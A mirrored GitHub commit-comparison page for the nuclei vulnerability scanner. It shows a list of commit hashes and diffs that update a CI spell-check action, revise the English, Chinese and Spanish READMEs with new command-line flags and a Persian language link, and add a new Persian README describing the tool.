mirror of
https://github.com/projectdiscovery/nuclei.git
synced 2026-11-13 17:56:33 -10:00
Compare commits
276
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
6be597c8d1 | ||
|
|
be70370f00 | ||
|
|
fe0810c288 | ||
|
|
e986807a80 | ||
|
|
263bc13412 | ||
|
|
660b7438d8 | ||
|
|
aa761b9c33 | ||
|
|
731d438319 | ||
|
|
a85a545323 | ||
|
|
5ea11e5f43 | ||
|
|
230a17d4fa | ||
|
|
d2499b74da | ||
|
|
93483eaff9 | ||
|
|
a81624e595 | ||
|
|
a9df3eff9e | ||
|
|
08820abff6 | ||
|
|
fa3fa92092 | ||
|
|
be7b2648ef | ||
|
|
47398198a0 | ||
|
|
f846a5553d | ||
|
|
39c5d8764e | ||
|
|
93b64043b1 | ||
|
|
7d6b2fef6f | ||
|
|
445e6ab972 | ||
|
|
7f8abe2c0f | ||
|
|
bfd8d4585c | ||
|
|
1c3cc97748 | ||
|
|
947a2a9a2a | ||
|
|
8e1e613a15 | ||
|
|
5a339a8da1 | ||
|
|
779868985d | ||
|
|
c4d933d165 | ||
|
|
f58b21e6c3 | ||
|
|
71805f5093 | ||
|
|
1086d5d391 | ||
|
|
75434a01e9 | ||
|
|
e9f062f600 | ||
|
|
5bd7c79be4 | ||
|
|
8f31e9d24d | ||
|
|
e17273911b | ||
|
|
e2840f3644 | ||
|
|
be6e32d5ae | ||
|
|
86d9a9bd54 | ||
|
|
7c2b74424e | ||
|
|
f1e79cd82b | ||
|
|
4ae1faa64f | ||
|
|
834cff9fa2 | ||
|
|
23f766eb61 | ||
|
|
43f99eadde | ||
|
|
baaeb15022 | ||
|
|
d4b8a07e80 | ||
|
|
319baa3152 | ||
|
|
e24855067e | ||
|
|
a4c597fd31 | ||
|
|
87afa2fd4e | ||
|
|
b4c9cc10c9 | ||
|
|
7f6cfd42f3 | ||
|
|
a03f13e929 | ||
|
|
02f5d9a6c3 | ||
|
|
f46ee55118 | ||
|
|
a9d358a56a | ||
|
|
9545a9246c | ||
|
|
48e04c7317 | ||
|
|
2954b81c85 | ||
|
|
052855717d | ||
|
|
e1f656033d | ||
|
|
9301048bc4 | ||
|
|
e21e636530 | ||
|
|
6d433e6a6f | ||
|
|
e8f1a788ac | ||
|
|
f1702dc401 | ||
|
|
3ab0a66962 | ||
|
|
bf53db167d | ||
|
|
d13b58d987 | ||
|
|
206446f567 | ||
|
|
b901fb8aea | ||
|
|
7e1a8f7da9 | ||
|
|
943ec350bb | ||
|
|
a54a6252a6 | ||
|
|
131b7b5e2c | ||
|
|
773ddf1411 | ||
|
|
665914747c | ||
|
|
bb06c6a470 | ||
|
|
bdbdc1e8de | ||
|
|
68cc4b17cd | ||
|
|
308044e234 | ||
|
|
64ad459151 | ||
|
|
4e6f69cb97 | ||
|
|
cdf3798bb7 | ||
|
|
d2699653fd | ||
|
|
663c3528c7 | ||
|
|
9dbbe4c225 | ||
|
|
40e165a065 | ||
|
|
25c4b0d623 | ||
|
|
cb8434c81c | ||
|
|
e7a383124b | ||
|
|
9cd0fbb983 | ||
|
|
1e8b85a133 | ||
|
|
c1b2553022 | ||
|
|
99c22b36f0 | ||
|
|
213b74b683 | ||
|
|
ee9a2ed36d | ||
|
|
9fd430d803 | ||
|
|
20c1510069 | ||
|
|
6ab068a356 | ||
|
|
a4f855aeee | ||
|
|
30c6e1f0ca | ||
|
|
7448d2ab23 | ||
|
|
833bd0102c | ||
|
|
cefccf97f3 | ||
|
|
b229dadf45 | ||
|
|
332cfd5372 | ||
|
|
bad0e62459 | ||
|
|
cebb1a45b0 | ||
|
|
39ab5141a8 | ||
|
|
347b996d2c | ||
|
|
5dde4c2b30 | ||
|
|
3a686c1ba5 | ||
|
|
8c214de616 | ||
|
|
8081bcbee8 | ||
|
|
913d4161d1 | ||
|
|
5c3c00f2fa | ||
|
|
ab5c51640e | ||
|
|
beccd36038 | ||
|
|
2b39243c73 | ||
|
|
bc53323223 | ||
|
|
0cfd312330 | ||
|
|
8be6ff6389 | ||
|
|
9ece5bc5f6 | ||
|
|
d117fcada4 | ||
|
|
316de3dc43 | ||
|
|
86b0f3f14f | ||
|
|
e284b6bc24 | ||
|
|
1248a14a62 | ||
|
|
4a2eb3b29d | ||
|
|
413a418714 | ||
|
|
4cf0bbc08a | ||
|
|
1628b4c437 | ||
|
|
e554a7e514 | ||
|
|
1fb6a9a287 | ||
|
|
214d5e1310 | ||
|
|
54134f0f5b | ||
|
|
3e68f2b99f | ||
|
|
f8451703a2 | ||
|
|
5e0c3e3d4f | ||
|
|
9f4e53b933 | ||
|
|
aba8fda759 | ||
|
|
c2767d6ef6 | ||
|
|
c99bc1b959 | ||
|
|
05d328d936 | ||
|
|
c1fcd4d8d2 | ||
|
|
d1bc79be95 | ||
|
|
c505b5f3c4 | ||
|
|
6a4e6fab6f | ||
|
|
9bf950c861 | ||
|
|
4edd5c2c68 | ||
|
|
5cf7f3ba47 | ||
|
|
c918d010c5 | ||
|
|
ed46eb76e3 | ||
|
|
d7730705af | ||
|
|
b4761d4fc4 | ||
|
|
e4d1535691 | ||
|
|
1c0f77d28e | ||
|
|
3827928531 | ||
|
|
b296cc0d46 | ||
|
|
9a20d1cc69 | ||
|
|
3bb429522f | ||
|
|
535e04d555 | ||
|
|
4ce6dea3e9 | ||
|
|
b31f787d79 | ||
|
|
17101d0501 | ||
|
|
a4cc18f30e | ||
|
|
866da46866 | ||
|
|
8b440a5a77 | ||
|
|
4716246849 | ||
|
|
d43c1f547f | ||
|
|
506e4fb0fc | ||
|
|
52960db710 | ||
|
|
ca3e27c5f5 | ||
|
|
a94aa7f00d | ||
|
|
c14335d351 | ||
|
|
c5a528cc60 | ||
|
|
d9dabbb4a1 | ||
|
|
d21749be3a | ||
|
|
1568f1e68e | ||
|
|
007ee7d4ba | ||
|
|
50a6526721 | ||
|
|
7010ce6a91 | ||
|
|
5d9da1d199 | ||
|
|
8d33e4a4c7 | ||
|
|
113ea8afa9 | ||
|
|
a5d0eb9fda | ||
|
|
65732c382f | ||
|
|
ab8c7feeba | ||
|
|
2815cb2aef | ||
|
|
cb824a4718 | ||
|
|
78a5cadc67 | ||
|
|
f5aa294aa6 | ||
|
|
77b34db0cc | ||
|
|
87e0a1d2a4 | ||
|
|
352f46cc35 | ||
|
|
98df72854b | ||
|
|
7fa79ba6a6 | ||
|
|
52245202ff | ||
|
|
b104625865 | ||
|
|
73d976be6c | ||
|
|
06dd497f85 | ||
|
|
349299c9ab | ||
|
|
f76bd78d15 | ||
|
|
cbbf15bc1e | ||
|
|
591a019e83 | ||
|
|
5b4bc8efc8 | ||
|
|
8496c48c6f | ||
|
|
ccd0aaca40 | ||
|
|
2faf7294a8 | ||
|
|
b293943e98 | ||
|
|
3fb407b345 | ||
|
|
c987c2df6a | ||
|
|
7b0cffc2eb | ||
|
|
213d3badfd | ||
|
|
c9e9d89f3d | ||
|
|
268ea525bd | ||
|
|
0270f5f1da | ||
|
|
9cf5459dd9 | ||
|
|
ff7b951bf0 | ||
|
|
4a6aed5eab | ||
|
|
228cf4b9a2 | ||
|
|
f5dcb9bf31 | ||
|
|
b9f971c8fa | ||
|
|
65964f2819 | ||
|
|
40715999a5 | ||
|
|
223daf2615 | ||
|
|
63c656f7ee | ||
|
|
aa75ed274c | ||
|
|
927f30464e | ||
|
|
bf11a866e1 | ||
|
|
ca0688f086 | ||
|
|
8f87aa7440 | ||
|
|
b00db1d984 | ||
|
|
db2b48a3a0 | ||
|
|
e505fb840e | ||
|
|
7496794e58 | ||
|
|
b996c5d4ce | ||
|
|
eded59972e | ||
|
|
4fb773d8b2 | ||
|
|
9f47943e11 | ||
|
|
a1c26f9d98 | ||
|
|
034cf04d47 | ||
|
|
841cd851ca | ||
|
|
59f8657566 | ||
|
|
7a1d539d7e | ||
|
|
03adf593d4 | ||
|
|
fd91245001 | ||
|
|
e6f6274e99 | ||
|
|
0316732363 | ||
|
|
960ba0bb7f | ||
|
|
04c6db7de0 | ||
|
|
caa5dfafea | ||
|
|
8a3a0f33de | ||
|
|
0f5934cfaa | ||
|
|
bfd48c7740 | ||
|
|
92f3a55ee7 | ||
|
|
b19e739961 | ||
|
|
b24ade541a | ||
|
|
58d3ad6063 | ||
|
|
1ff643d72a | ||
|
|
7f2254ae57 | ||
|
|
5371ac689a | ||
|
|
675fcc4ea8 | ||
|
|
a20aa26024 | ||
|
|
06771d7197 | ||
|
|
efbb48c167 | ||
|
|
c03f5c8df1 | ||
|
|
865c90e627 | ||
|
|
2766609119 | ||
|
|
8383eadaae |
No files matched your search
@@ -17,4 +17,4 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v7
|
||||
- uses: crate-ci/typos@v1.49.0
|
||||
- uses: crate-ci/typos@v1.51.1
|
||||
@@ -1,7 +1,7 @@
|
||||

|
||||
|
||||
<div align="center">
|
||||
|
||||
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README.md">`English`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md">`中文`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">`Korean`</a> •
|
||||
@@ -9,8 +9,9 @@
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">`Spanish`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_JP.md">`日本語`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md">`Portuguese`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_TR.md">`Türkçe`</a>
|
||||
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_TR.md">`Türkçe`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_FA.md">`فارسی`</a>
|
||||
|
||||
</div>
|
||||
|
||||
<p align="center">
|
||||
@@ -110,7 +111,7 @@ Browse the full Nuclei [**`documentation here`**](https://docs.projectdiscovery.
|
||||
|
||||
### Installation
|
||||
|
||||
`nuclei` requires **go >= 1.24.2** to install successfully. Run the following command to get the repo:
|
||||
`nuclei` requires **go >= 1.27.3** to install successfully. Run the following command to get the repo:
|
||||
|
||||
```sh
|
||||
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
||||
@@ -176,7 +177,7 @@ TEMPLATES:
|
||||
-egm, -enable-global-matchers enable loading global matchers templates
|
||||
-file enable loading file templates
|
||||
-llm enable llm matchers and extractors (semantic matching)
|
||||
-llm-provider string llm provider for semantic matching (openai, ollama, llamacpp, vllm, lmstudio, groq, openrouter, together) (default "openai")
|
||||
-llm-provider string llm provider for semantic matching (openai, ollama, llamacpp, vllm, lmstudio, groq, openrouter, together, orcarouter) (default "openai")
|
||||
-llm-base-url string openai-compatible endpoint for semantic matching (overrides -llm-provider, e.g. a local model)
|
||||
-llm-model string model used for semantic matching
|
||||
-llm-timeout int time in seconds to wait for a single llm call (default 30)
|
||||
@@ -249,9 +250,11 @@ CONFIGURATIONS:
|
||||
-lna, -restrict-local-network-access blocks connections to the local / private network
|
||||
-i, -interface string network interface to use for network scan
|
||||
-at, -attack-type string type of payload combinations to perform (batteringram,pitchfork,clusterbomb)
|
||||
-pro, -payload-random-order iterate payload combinations in a random order instead of sequentially
|
||||
-sip, -source-ip string source ip address to use for network scan
|
||||
-rsr, -response-size-read int max response size to read in bytes
|
||||
-rss, -response-size-save int max response size to read in bytes (default 1048576)
|
||||
-rqss, -request-size-save int max request body size to save in bytes (0 to save the whole body) (default 32768)
|
||||
-reset reset removes all nuclei configuration and data files (including nuclei-templates)
|
||||
-tlsi, -tls-impersonate enable experimental client hello (ja3) tls randomization
|
||||
-hae, -http-api-endpoint string experimental http api endpoint
|
||||
@@ -355,10 +358,11 @@ DEBUG:
|
||||
-hc, -health-check run diagnostic check up
|
||||
|
||||
UPDATE:
|
||||
-up, -update update nuclei engine to the latest released version
|
||||
-ut, -update-templates update nuclei-templates to latest released version
|
||||
-ud, -update-template-dir string custom directory to install / update nuclei-templates
|
||||
-duc, -disable-update-check disable automatic nuclei/templates update check
|
||||
-up, -update update nuclei engine to the latest released version
|
||||
-ut, -update-templates update nuclei-templates to latest released version
|
||||
-utc, -update-templates-channel string nuclei-templates update channel (stable, latest) (default "stable")
|
||||
-ud, -update-template-dir string custom directory to install / update nuclei-templates
|
||||
-duc, -disable-update-check disable automatic nuclei/templates update check
|
||||
|
||||
HONEYPOT:
|
||||
-hpd, -honeypot-detect detect potential honeypot hosts based on match concentration
|
||||
@@ -680,7 +684,7 @@ Thanks to all the amazing [**`community contributors for sending PRs`**](https:/
|
||||
<br>
|
||||
|
||||
<div align="center">
|
||||
|
||||
|
||||
<sub>**`nuclei`** is distributed under [**MIT License**](https://github.com/projectdiscovery/nuclei/blob/main/LICENSE.md)</sub>
|
||||
|
||||
</div>
|
||||
+10
-7
@@ -9,7 +9,8 @@
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">`Spanish`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_JP.md">`日本語`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md">`Portuguese`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_TR.md">`Türkçe`</a>
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_TR.md">`Türkçe`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_FA.md">`فارسی`</a>
|
||||
|
||||
</div>
|
||||
|
||||
@@ -110,7 +111,7 @@ _针对安全团队和企业,我们提供了构建在 Nuclei OSS 之上的云
|
||||
|
||||
### 安装
|
||||
|
||||
`nuclei` 需要 **go >= 1.24.2** 才能成功安装。运行以下命令获取仓库:
|
||||
`nuclei` 需要 **go >= 1.27.3** 才能成功安装。运行以下命令获取仓库:
|
||||
|
||||
```sh
|
||||
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
||||
@@ -174,7 +175,7 @@ TEMPLATES:
|
||||
-egm, -enable-global-matchers enable loading global matchers templates
|
||||
-file enable loading file templates
|
||||
-llm enable llm matchers and extractors (semantic matching)
|
||||
-llm-provider string llm provider for semantic matching (openai, ollama, llamacpp, vllm, lmstudio, groq, openrouter, together) (default "openai")
|
||||
-llm-provider string llm provider for semantic matching (openai, ollama, llamacpp, vllm, lmstudio, groq, openrouter, together, orcarouter) (default "openai")
|
||||
-llm-base-url string openai-compatible endpoint for semantic matching (overrides -llm-provider, e.g. a local model)
|
||||
-llm-model string model used for semantic matching
|
||||
-llm-timeout int time in seconds to wait for a single llm call (default 30)
|
||||
@@ -250,6 +251,7 @@ CONFIGURATIONS:
|
||||
-sip, -source-ip string source ip address to use for network scan
|
||||
-rsr, -response-size-read int max response size to read in bytes
|
||||
-rss, -response-size-save int max response size to read in bytes (default 1048576)
|
||||
-rqss, -request-size-save int max request body size to save in bytes (0 to save the whole body) (default 32768)
|
||||
-reset reset removes all nuclei configuration and data files (including nuclei-templates)
|
||||
-tlsi, -tls-impersonate enable experimental client hello (ja3) tls randomization
|
||||
-hae, -http-api-endpoint string experimental http api endpoint
|
||||
@@ -350,10 +352,11 @@ DEBUG:
|
||||
-hc, -health-check run diagnostic check up
|
||||
|
||||
UPDATE:
|
||||
-up, -update update nuclei engine to the latest released version
|
||||
-ut, -update-templates update nuclei-templates to latest released version
|
||||
-ud, -update-template-dir string custom directory to install / update nuclei-templates
|
||||
-duc, -disable-update-check disable automatic nuclei/templates update check
|
||||
-up, -update update nuclei engine to the latest released version
|
||||
-ut, -update-templates update nuclei-templates to latest released version
|
||||
-utc, -update-templates-channel string nuclei-templates update channel (stable, latest) (default "stable")
|
||||
-ud, -update-template-dir string custom directory to install / update nuclei-templates
|
||||
-duc, -disable-update-check disable automatic nuclei/templates update check
|
||||
|
||||
HONEYPOT:
|
||||
-hpd, -honeypot-detect detect potential honeypot hosts based on match concentration
|
||||
|
||||
+10
-7
@@ -9,7 +9,8 @@
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">`Spanish`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_JP.md">`日本語`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md">`Portuguese`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_TR.md">`Türkçe`</a>
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_TR.md">`Türkçe`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_FA.md">`فارسی`</a>
|
||||
|
||||
</div>
|
||||
|
||||
@@ -110,7 +111,7 @@ Consulta la [**`documentación completa de Nuclei aquí`**](https://docs.project
|
||||
|
||||
### Instalación
|
||||
|
||||
`nuclei` requiere **go >= 1.24.2** para instalarse correctamente. Ejecuta el siguiente comando para obtener el repositorio:
|
||||
`nuclei` requiere **go >= 1.27.3** para instalarse correctamente. Ejecuta el siguiente comando para obtener el repositorio:
|
||||
|
||||
```sh
|
||||
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
||||
@@ -174,7 +175,7 @@ TEMPLATES:
|
||||
-egm, -enable-global-matchers enable loading global matchers templates
|
||||
-file enable loading file templates
|
||||
-llm enable llm matchers and extractors (semantic matching)
|
||||
-llm-provider string llm provider for semantic matching (openai, ollama, llamacpp, vllm, lmstudio, groq, openrouter, together) (default "openai")
|
||||
-llm-provider string llm provider for semantic matching (openai, ollama, llamacpp, vllm, lmstudio, groq, openrouter, together, orcarouter) (default "openai")
|
||||
-llm-base-url string openai-compatible endpoint for semantic matching (overrides -llm-provider, e.g. a local model)
|
||||
-llm-model string model used for semantic matching
|
||||
-llm-timeout int time in seconds to wait for a single llm call (default 30)
|
||||
@@ -250,6 +251,7 @@ CONFIGURATIONS:
|
||||
-sip, -source-ip string source ip address to use for network scan
|
||||
-rsr, -response-size-read int max response size to read in bytes
|
||||
-rss, -response-size-save int max response size to read in bytes (default 1048576)
|
||||
-rqss, -request-size-save int max request body size to save in bytes (0 to save the whole body) (default 32768)
|
||||
-reset reset removes all nuclei configuration and data files (including nuclei-templates)
|
||||
-tlsi, -tls-impersonate enable experimental client hello (ja3) tls randomization
|
||||
-hae, -http-api-endpoint string experimental http api endpoint
|
||||
@@ -350,10 +352,11 @@ DEBUG:
|
||||
-hc, -health-check run diagnostic check up
|
||||
|
||||
UPDATE:
|
||||
-up, -update update nuclei engine to the latest released version
|
||||
-ut, -update-templates update nuclei-templates to latest released version
|
||||
-ud, -update-template-dir string custom directory to install / update nuclei-templates
|
||||
-duc, -disable-update-check disable automatic nuclei/templates update check
|
||||
-up, -update update nuclei engine to the latest released version
|
||||
-ut, -update-templates update nuclei-templates to latest released version
|
||||
-utc, -update-templates-channel string nuclei-templates update channel (stable, latest) (default "stable")
|
||||
-ud, -update-template-dir string custom directory to install / update nuclei-templates
|
||||
-duc, -disable-update-check disable automatic nuclei/templates update check
|
||||
|
||||
HONEYPOT:
|
||||
-hpd, -honeypot-detect detect potential honeypot hosts based on match concentration
|
||||
|
||||
+725
@@ -0,0 +1,725 @@
|
||||

|
||||
|
||||
<div align="center">
|
||||
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README.md">`English`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md">`中文`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">`Korean`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">`Indonesia`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">`Spanish`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_JP.md">`日本語`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md">`Portuguese`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_TR.md">`Türkçe`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_FA.md">`فارسی`</a>
|
||||
|
||||
</div>
|
||||
|
||||
<p align="center">
|
||||
|
||||
<a href="https://docs.projectdiscovery.io/tools/nuclei/overview?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme"><img src="https://img.shields.io/badge/Documentation-%23000000.svg?style=for-the-badge&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9IiNmZmZmZmYiIHN0cm9rZS13aWR0aD0iMiIgc3Ryb2tlLWxpbmVjYXA9InJvdW5kIiBzdHJva2UtbGluZWpvaW49InJvdW5kIiBjbGFzcz0ibHVjaWRlIGx1Y2lkZS1ib29rLW9wZW4iPjxwYXRoIGQ9Ik0xMiA3djE0Ii8+PHBhdGggZD0iTTMgMThhMSAxIDAgMCAxLTEtMVY0YTEgMSAwIDAgMSAxLTFoNWE0IDQgMCAwIDEgNCA0IDQgNCAwIDAgMSA0LTRoNWExIDEgMCAwIDEgMSAxdjEzYTEgMSAwIDAgMS0xIDFoLTZhMyAzIDAgMCAwLTMgMyAzIDMgMCAwIDAtMy0zeiIvPjwvc3ZnPg==&logoColor=white" alt="Documentation Badge"></a>
|
||||
|
||||
<a href="https://github.com/projectdiscovery/nuclei-templates"><img src="https://img.shields.io/badge/Templates Library-%23000000.svg?style=for-the-badge&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgdmlld0JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9IiNmZmZmZmYiIHN0cm9rZS13aWR0aD0iMS41IiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiIGNsYXNzPSJsdWNpZGUgbHVjaWRlLXNoaWVsZCI+PHBhdGggZD0iTTIwIDEzYzAgNS0zLjUgNy41LTcuNjYgOC45NWExIDEgMCAwIDEtLjY3LS4wMUM3LjUgMjAuNSA0IDE4IDQgMTNWNmExIDEgMCAwIDEgMS0xYzIgMCA0LjUtMS4yIDYuMjQtMi43MmExLjE3IDEuMTcgMCAwIDEgMS41MiAwQzE0LjUxIDMuODEgMTcgNSAxOSA1YTEgMSAwIDAgMSAxIDF6Ii8+PC9zdmc+&logoColor=white"></a>
|
||||
|
||||
<a href="https://discord.gg/projectdiscovery?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme"><img src="https://img.shields.io/badge/Discord-%235865F2.svg?style=for-the-badge&logo=discord&logoColor=white" alt="Discord Badge"></a>
|
||||
|
||||
|
||||
<hr>
|
||||
</p>
|
||||
|
||||
<div dir="rtl">
|
||||
|
||||
|
||||
<br>
|
||||
<br>
|
||||
|
||||
**Nuclei یک اسکنر آسیبپذیری مدرن و با کارایی بالاست که از قالبهای ساده بر پایه YAML استفاده میکند. این ابزار به شما امکان میدهد سناریوهای سفارشی برای شناسایی آسیبپذیریها طراحی کنید که شرایط واقعی را شبیهسازی میکنند و منجر به صفر شدن خطاهای مثبت کاذب (گزارشهای اشتباه) میشوند.**
|
||||
|
||||
- فرمت ساده YAML برای ساخت و سفارشیسازی قالبهای آسیبپذیری.
|
||||
- مشارکت توسط هزاران متخصص امنیت جهت مقابله با آسیبپذیریهای نوظهور و رایج.
|
||||
- کاهش خطاهای مثبت کاذب با شبیهسازی مراحل واقعی جهت تایید یک آسیبپذیری.
|
||||
- پردازش موازی فوقسریع اسکنها و خوشهبندی درخواستها.
|
||||
- قابلیت ادغام در خطوط لوله CI/CD برای شناسایی آسیبپذیریها و تستهای رگرسیون.
|
||||
- پشتیبانی از پروتکلهای متعدد مانند TCP، DNS، HTTP، SSL، WHOIS، جاوااسکریپت، کد و موارد دیگر.
|
||||
- قابلیت یکپارچهسازی با Jira، Splunk، GitHub، Elastic و GitLab.
|
||||
|
||||
<br>
|
||||
<br>
|
||||
|
||||
## فهرست مطالب
|
||||
|
||||
- [**`شروع کار`**](#شروع-کار)
|
||||
- [_`۱. ابزار خط فرمان Nuclei`_](#۱-ابزار-خط-فرمان-nuclei)
|
||||
- [_`۲. نسخههای حرفهای و سازمانی`_](#۲-نسخههای-حرفهای-و-سازمانی)
|
||||
- [**`مستندات`**](#مستندات)
|
||||
- [_`دستورات خط فرمان`_](#دستورات-خط-فرمان)
|
||||
- [_`اسکن یک هدف واحد`_](#اسکن-یک-هدف)
|
||||
- [_`اسکن اهداف متعدد`_](#اسکن-چندین-هدف)
|
||||
- [_`اسکن شبکه`_](#اسکن-شبکه)
|
||||
- [_`اسکن با قالب سفارشی شما`_](#اسکن-با-استفاده-از-قالب-سفارشی-خودتان)
|
||||
- [_`اتصال Nuclei به ProjectDiscovery`_](#اتصال-nuclei-به-projectdiscovery)
|
||||
- [**`قالبهای Nuclei، جامعه کاربری و پاداشها`**](#قالبهای-nuclei-جامعه-و-پاداشها-) 💎
|
||||
- [**`ماموریت ما`**](#ماموریت-ما)
|
||||
- [**`مشارکتکنندگان`**](#مشارکتکنندگان-) ❤
|
||||
- [**`مجوز استفاده`**](#license)
|
||||
|
||||
<br>
|
||||
<br>
|
||||
|
||||
## شروع کار
|
||||
|
||||
### ۱. ابزار خط فرمان Nuclei
|
||||
|
||||
_ابزار Nuclei را روی سیستم خود نصب کنید. کار خود را با دنبال کردن راهنمای نصب در [**`اینجا`**](https://docs.projectdiscovery.io/tools/nuclei/install?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme) آغاز کنید. علاوه بر این، ما [**`یک سطح ابری رایگان`**](https://cloud.projectdiscovery.io/sign-up) ارائه میدهیم که همراه با محدودیتهای رایگان ماهانه سخاوتمندانهای عرضه میشود:_
|
||||
|
||||
- ذخیرهسازی و بصریسازی یافتههای آسیبپذیری شما
|
||||
- نوشتن و مدیریت قالبهای Nuclei شما
|
||||
- دسترسی به آخرین قالبهای Nuclei
|
||||
- شناسایی و ذخیرهسازی اهداف شما
|
||||
|
||||
> [!Important]
|
||||
> |**این پروژه در حال توسعه فعال است**. انتظار تغییرات اساسی در نسخههای جدید را داشته باشید. لطفاً قبل از بهروزرسانی، لیست تغییرات نسخه (Changelog) را بررسی کنید.|
|
||||
> |:--------------------------------|
|
||||
> | این پروژه در درجه اول برای استفاده به عنوان یک ابزار خط فرمان (CLI) مستقل ساخته شده است. **اجرای Nuclei به عنوان یک سرویس ممکن است خطرات امنیتی به همراه داشته باشد.** توصیه میشود با احتیاط و با در نظر گرفتن تدابیر امنیتی اضافی از آن استفاده کنید. |
|
||||
|
||||
<br>
|
||||
|
||||
### ۲. نسخههای حرفهای و سازمانی
|
||||
|
||||
_برای تیمهای امنیتی و سازمانها، ما یک سرویس میزبانیشده در ابر بر پایه نسخه متنباز (OSS) ابزار Nuclei ارائه میدهیم؛ این سرویس بهطور دقیق بهینهسازی شده است تا به شما کمک کند اسکنهای آسیبپذیری را بهصورت مداوم، در مقیاس بزرگ و همراه با تیم و گردشهای کاری فعلی خود اجرا کنید:_
|
||||
|
||||
- اسکنهای ۵۰ برابر سریعتر
|
||||
- اسکن در مقیاس بزرگ با دقت بسیار بالا
|
||||
- یکپارچهسازی با سرویسهای ابری (AWS، GCP، Azure، Cloudflare، Fastly، Terraform، Kubernetes)
|
||||
- اتصال به Jira، Slack، Linear، رابطهای برنامهنویسی (APIs) و وبهوکها (Webhooks)
|
||||
- گزارشدهیهای مدیریتی و سازگاری با استانداردهای امنیتی (Compliance)
|
||||
- بهعلاوه: اسکن بیدرنگ (Real-time)، پشتیبانی از SAML SSO، پلتفرم منطبق با استاندارد SOC 2 (همراه با گزینههای میزبانی در اتحادیه اروپا و آمریکا)، فضاهای کاری مشترک تیمی و موارد دیگر
|
||||
- ما بهطور مداوم در حال [**`افزودن قابلیتهای جدید`**](https://feedback.projectdiscovery.io/changelog) هستیم!
|
||||
- **ایدهآل برای:** نفوذگران قانونمند (Pentesters)، تیمهای امنیتی و سازمانها
|
||||
|
||||
در صورتی که سازمان بزرگی دارید و نیازمندیهای شما پیچیده است، میتوانید در [**`نسخه پرو ثبتنام کنید`**](https://projectdiscovery.io/pricing?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme) یا [**`با تیم ما گفتگو کنید`**](https://projectdiscovery.io/request-demo?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme).
|
||||
|
||||
<br>
|
||||
<br>
|
||||
|
||||
## مستندات
|
||||
|
||||
[**`مستندات کامل`**](https://docs.projectdiscovery.io/tools/nuclei/running) ابزار Nuclei را در اینجا مرور کنید. اگر بهتازگی کار با Nuclei را شروع کردهاید، [**`مجموعه ویدیوهای آموزشی پایهای ما در یوتیوب`**](https://www.youtube.com/playlist?list=PLZRbR9aMzTTpItEdeNSulo8bYsvil80Rl) را بررسی کنید.
|
||||
|
||||
<div align="center">
|
||||
|
||||
